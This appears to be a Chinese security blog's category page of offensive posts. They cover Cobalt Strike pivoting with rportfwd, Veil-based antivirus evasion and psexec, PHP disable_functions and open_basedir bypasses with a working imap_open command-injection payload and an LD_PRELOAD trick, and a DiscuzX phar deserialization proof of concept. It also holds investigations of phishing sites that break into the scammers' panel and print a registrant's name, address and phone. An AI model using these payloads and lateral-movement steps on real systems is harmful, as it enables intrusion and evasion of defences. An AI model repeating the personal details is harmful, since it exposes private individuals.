分类 安全之路 下的文章

不使用smb beacon 内网中继主机上线

1 已控一台能链接teamserver的主机,假设IP为172.16.1.1
2 该主机能链接的机器无权限链接teamserver,假设IP为172.20.1.1
3 该主机不能走smb beacon,或者smb不稳定

添加一个新的listenters

然后在172.16.1.1中执行

rportfwd 12345 teamserver_ip 12345

Xnip2019-07-17_14-28-06.png

然后再make_token

Xnip2019-07-17_14-29-40.png

然后就可以通过生成veil的payload去免杀,然后把通过smb复制到远程主机
在通过psexec把payload跑起来即可

最后该机器上线后的外网ip会显示teamserver的ip,而不是172.16.1.1

Xnip2019-07-17_14-26-08.png
Xnip2019-07-17_14-24-25.png
也不会出现在之前的拓扑图中

常用绕过 Disable_Function和open_basedir的方法

简介

思路很老,遇到一个站,shell上去但是basedir导致不能跨目录,正好就写一下吧
其实绕过basedir就俩个思路

  1. 通过执行命令去绕过
    因为open_basedir只是针对php的一些函数,让这些函数不能超出basedir设置的路径范围,但是在执行的命令并不受限制。
  2. 绕过basedir沙盒
    这个就比较复杂,需要使用到一些php的漏洞,比如我曾经在乌云上发过一些不受basedir限制的函数,比如stats啥的,因为basedir只是针对php函数的,如果在php内核里面对函数定义的时候并没有判断basedir就导致了bypass,这是常用也是最好用的就是php的glob://内置协议,通过glob可以遍历目录,在配合DirectoryIterator类读取,可以达到绕过basedir列目录的效果,但是对于读文件目前为止并没有一个好的方法。

测试

pcntl

环境
disable_functions

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,

proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,

readlink,symlink,popepassthru,stream_socket_server

open_basedir

/opt/wwwroot/webroot/webroot/:/tmp/:/proc/:/opt/wwwroot/webroot2/

开启了

enable-pcntl

因为有basedir控制了目录,所以直接用pcntl_exec去执行webshell并不可行,因为如果你去调用/bin/sh因为basedir原因导致不可执行,我们只需要上传一个同版本(64|32)的sh上去并给予执行权限即可

关于open_basedir的bypass其实有很多更详细的文章就不一一赘述了,提供一个fd写的脚本,14年的时候我也用这个方法绕了saeapp的php沙盒,把架设在上面的乌云打了

imap

usage

<?php
# CRLF (c)
# echo '1234567890'>/tmp/test0001
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

LD_PRELOAD

usage

http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

相关资料

pcntl_exec_webshell
bypass_open_basedir
SAE沙盒绕过&路过Wooyun高校版
PHP某鸡肋open_basedir绕过
PHP某鸡肋open_basedir绕过2

【后续】办完信用卡竟然被诈骗了数万元?揪出幕后黑手!

根据成都无糖信息(专注反诈多年)爆料,该网站是一套名为黑科技钓鱼王的程序,并提供给了笔者该网站的程序和受害者的数据。

*成都无糖信息技术有限公司(以下简称无糖信息),致力于反网络犯罪领域的安全技术研究及产品研发,为公安、网信、运营商、银行、通管互联网电商等机构与组织提供 高效专业的网络犯罪情报分析服务和解决方案。无糖信息是以国内领先的安全团队PKAV为核心的自主创新型企业,主要成员均为国内知名白帽子,WEB安全、漏洞挖掘、网络攻防 等研究领域具备国内顶尖技术实力和丰富的实战经验。
官网:https://www.nosugartech.com/*
-w230
-w225

这套程序是一套易语言编写的钓鱼程序,包括前台和收信后台,并且该程序不同于传统的钓鱼程序,后台也是一套易语言写的一套客户端用来收信。
这个程序作者也挺有意思,号称绝对安全,并且不偷料(钓鱼所得的受害者资料)
-w1194
-w1169

而且存在合作模式,夜间0点到早晨9点这个时间段所得的资料是属于作者的,作者免费发布程序的同时或者一定的资料作为使用程序的费用,这是共享经济吗?

通过简单分析发现了几个漏洞,可以读取到客户端收信的账户密码,从而获得登陆日志和受害者等信息,
-w1064

成功登陆,并拿到了登陆记录和受害人信息
-w1104
骗子也很狡猾,经常删除数据,目前为止只有当天的这么一点数据,他们甚至还哄骗受害者下载木马,从而控制他们的手机做短信拦截
我们只能发个信息提醒一下受害者吧

从现有的数据分析得知,看数据编号为54,虽然也有一些是我提交测试的信息,但是理论上也就是有数十人被骗去了个人银行卡/信用卡的资料,金额得数十上百万了。
再通过主机名和登陆时间猜测,可能他并不是实时在线上,而且看主机名比较像网吧的机器

通过网站上所留的网站统计得知如下数据,每天有数百人访问该网页,看来其群发的数据还是相当多的
-w1226
-w1235

可以得知他是在2月22号才开始运营
-w308

受害者分布在全国69个省市,其中靠前的城市如下
-w1199
-w1228

后来在软件中发现一个屏蔽电脑访问的记录,其中记录了22号开站到目前为止屏蔽了27381条访问记录,理论上一般自己把站建好都会自己尝试访问一下,在拉了前几页的记录发现 这个ip 223.XXX.13.120很可疑,时间跨度3个小时,从5点到7点40,如果只是一个受害者,不可能访问了2个多小时,在加上建站开始,第一个访问ip就是该ip

ip所在地:中国-湖南-衡阳-耒阳市

通过拉取他22号当天的网站统计数据,在通过拦截日志对比,在建站开始后的时候有一个访问记录,然后他使用了网站测速功能,所以有了72+20这条访问记录,基本可以确定 这个湖南的ip(223.xxx.13.120)就是他本人!
-w1207

再去ip位置附近查找,根据直接的主机名都是LS115,LS121,
很有可能前面的LS就是网吧缩写,百度地图定位过去搜了一下 发现一个名为 【乐上网咖】 很可疑,
-w801

如果是这个网吧,那么只要看2019年2月22号下午3点39分 121号机,2019年2月23号下午4点27 115号机是谁上的就能确定了

结语:有ip之后剩下的事情就可以交给警察叔叔了。

办完信用卡竟然被诈骗了数万元?揪出幕后黑手!

起因是笔者的同学打电话给我,告诉我他一个战友被骗了2w了,大概过程是头一天有工商银行的去他们单位组织办信用卡,第二天他战友收到了一条信用卡提额的诈骗短信,钓鱼网站竟然也打着工商银行的旗号,这也太巧了?

打开短链接指向 http://m.lcdbcit.cc
打开一看就是一个钓鱼网站,有俩个入口,一个是申请信用卡,一个是信用卡提额

点击了信用卡提额后,发现需要填写持卡人信息后和信用卡的cvv和有效期,骗子一旦掌握了这些信息后就可以直接去盗刷你的卡了。

先尝试了xss,但是无果,后来分析发现这个域名指向的ip是
154.48.228.254 一台美国的服务器,只开放了web和3389

查询了lcdbcit.cc的whois信息发现是在阿里云注册的,但是开了隐私保护,只得到了注册地是广西,呵 诈骗根据地。

通过分析发现154的ip上还绑定了另外几个域名

c10166.com
c11568.com
c61855.com

查询这个whois有所发现

Registry Registrant ID: Not Available From Registry 
Registrant Name: gueijuan xu 
Registrant Organization: 
Registrant Street: 197hao,kanlecuen,wujianqu 
Registrant City: shaoguanshi 
Registrant State/Province: Guangdong 
Registrant Postal Code: 512026 
Registrant Country: CN 
Registrant Phone: +86.07518700707 
Registrant Phone Ext: 
Registrant Fax: 
Registrant Fax Ext: 
Registrant Email: [email protected] 

通过对这个email进行查询,发现其名下注册的域名有几万个,内容很杂,方向也都不一样,判断可能是一个域名贩子

图为随机扫描了一些他注册的域名,查看域名所绑定的ip和开启的服务

但是仔细一想,如果只是一个域名贩子,那么不可能三个域名都指向诈骗者的服务器,如果诈骗者买域名,也不会碰巧都在同一个人那里买,而且这个邮箱下所注册的域名,不是赌博就是诈骗,抱着这样的疑问笔者猜测,这个邮箱的主人要么就是诈骗团伙的一员,要么就是和诈骗团伙有合作。

通过后续的信息收集发现facebook上有一则文章,大概是说有人在香港的网站上打广告号称有海关滞留的低价劳力士,移动硬盘等信息,然后大量的人中招,看来香港同胞也难逃“小便宜”的诱惑,然后广告所指向的域名刚好也是这个邮箱注册的,只不过hotmail变成了163,注册者的名字也是一样的,到这里笔者越发能确定邮箱的主人绝对不干净。


谷歌也布满了该邮箱所注册的域名架设各种诈骗网站的曝光贴,从理财到手机,手表,u盘,甚至还有cpu,针对各路人群,不怕没人上钩


最后发现是一家代注册godaddy域名的公司

通过他们业务所留的qq,笔者决定试试能不能从他们手里要到域名所有者的信息

等了半个小时后终于给我了另一个qq号,让我明天加他
qq 102930516

结果这个技术态度很屌,表示只愿意和警察联系

本来想吓吓他,看看是不是帮凶,结果油盐不进,估计和骗子还是有所认识的,毕竟便宜在他手里至少买了成百上千个域名了,油盐不进。


君子坦荡荡的都说出来了。。互相试探。

预知后事如何,且听下回分解。

DiscuzX 3.4 Phar反序列化漏洞

0x1 前情提要

DiscuzX的反序列化比较鸡肋,没有任何可利用的点,只能算一个bug。

刚看到一片文章,就是在对phar文件进行操作的时候可以导致反序列化,然后我就对php内置函数进行了测试,发现80%的常用文件操作都能导致触发phar的反序列化,我一共测试了如下函数,都可以触发。


var_dump(file_get_contents('phar://payload.phar'));

var_dump(file_put_contents('phar://payload.phar'));

var_dump(readfile('phar://payload.phar'));

var_dump(is_file('phar://payload.phar'));

var_dump(filesize('phar://payload.phar'));

var_dump(file_exists('phar://payload.phar'));

var_dump(is_readable('phar://payload.phar'));

var_dump(file('phar://payload.phar'));

var_dump(filectime('phar://payload.phar'));

var_dump(filegroup('phar://payload.phar'));

var_dump(fileinode('phar://payload.phar'));

var_dump(filemtime('phar://payload.phar'));

var_dump(fileowner('phar://payload.phar'));

var_dump(fileperms('phar://payload.phar'));

var_dump(filetype('phar://payload.phar'));

var_dump(is_link('phar://payload.phar'));

var_dump(is_writable('phar://payload.phar'));

var_dump(is_writeable('phar://payload.phar'));

var_dump(lstat('phar://payload.phar'));

下面我就下了discuz的代码看看有没有什么能触发反序列化的点,还真给我找到了。

0x2 漏洞分析

/source/module/forum/forum_attachment.php

...
//如果是图片并且是缩略图
if(empty($_GET['nothumb']) && $attach['isimage'] && $attach['thumb']) {
    $db = DB::object();
    $db->close();
    !$_G['config']['output']['gzip'] && ob_end_clean();
    dheader('Content-Disposition: inline; filename='.getimgthumbname($attach['filename']));
    dheader('Content-Type: image/pjpeg');
    //需要是远程附件
    if($attach['remote']) {
        $_G['setting']['ftp']['hideurl'] ? getremotefile(getimgthumbname($attach['attachment'])) : dheader('location:'.$_G['setting']['ftp']['attachurl'].'forum/'.getimgthumbname($attach['attachment']));
    } else {
        getlocalfile($_G['setting']['attachdir'].'/forum/'.getimgthumbname($attach['attachment']));
    }
    exit();
}

...

function getremotefile($file) {
    global $_G;
    @set_time_limit(0);
    //这边的readfile的 attachurl 是通过后台配置的
    if([email protected]($_G['setting']['ftp']['attachurl'].'forum/'.$file)) { 
        $ftp = ftpcmd('object');
        $tmpfile = @tempnam($_G['setting']['attachdir'], '');
        if($ftp->ftp_get($tmpfile, 'forum/'.$file, FTP_BINARY)) {
            @readfile($tmpfile);
            @unlink($tmpfile);
        } else {
            @unlink($tmpfile);
            return FALSE;
        }
    }
    return TRUE;
}
...

0x3 漏洞测试

登陆后台配置远程附件并开启隐藏真实路径


还需要开启附件缩略图功能

满足以上条件即可测试,在前台发帖并上传一个大于400*400的图片附件,注意是附件不是图片。

上传完成之后发帖会得到上图这样的链接

http://192.168.50.154/u/upload/forum.php?mod=attachment&aid=OHw5ZTIwZWUwMXwxNTQ2NjEwMTM1fDF8Mg%3D%3D&nothumb=yes

这个时候需要把nothumb=yes去掉,访问

http://192.168.50.154/u/upload/forum.php?mod=attachment&aid=OHw5ZTIwZWUwMXwxNTQ2NjEwMTM1fDF8Mg%3D%3D

我为了方便测试,输出了url信息

function getremotefile($file) {
    global $_G;
    @set_time_limit(0);
    echo $_G['setting']['ftp']['attachurl'].'forum/'.$file;
    die();

可以看到前面的2222正是我们设置的路径

然后利用以下脚本生成一个phar包,

<?php
ini_set ( 'phar.readonly' , 'Off' );
class payload{
    public $info="pwn";
}
$phar=new Phar("payload.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();");
$pd=new payload();
$phar->setMetadata($pd);
$phar->addFromString("t.txt","");
$phar->stopBuffering();

payload 类是我自己写的为了方便测试
我在/source/module/forum/forum_attachment.php加了一个payload类,测试看看有没有执行成功。

然后通过运营-》站点广告-
添加一个新的广告,把之前生成的phar修改成jpg上传上去,并拿到路径

http://192.168.50.154/u/upload/data/attachment/common/cf/222307y2v4kkqllj2bqv7e.jpg
提取出
data/attachment/common/cf/222307y2v4kkqllj2bqv7e.jpg

然后再打开远程附件,修改远程访问url为

phar://data/attachment/common/cf/222307y2v4kkqllj2bqv7e.jpg/


再访问之前的url

http://192.168.50.154/u/upload/forum.php?mod=attachment&aid=OHw5ZTIwZWUwMXwxNTQ2NjEwMTM1fDF8Mg%3D%3D


你会发现反序列化已经触发了,下面离getshell只差一个好利用的点了。

参考
从php反序列化到phar文件
HITCON 2017 Babyh-master-php-2017 分析及复现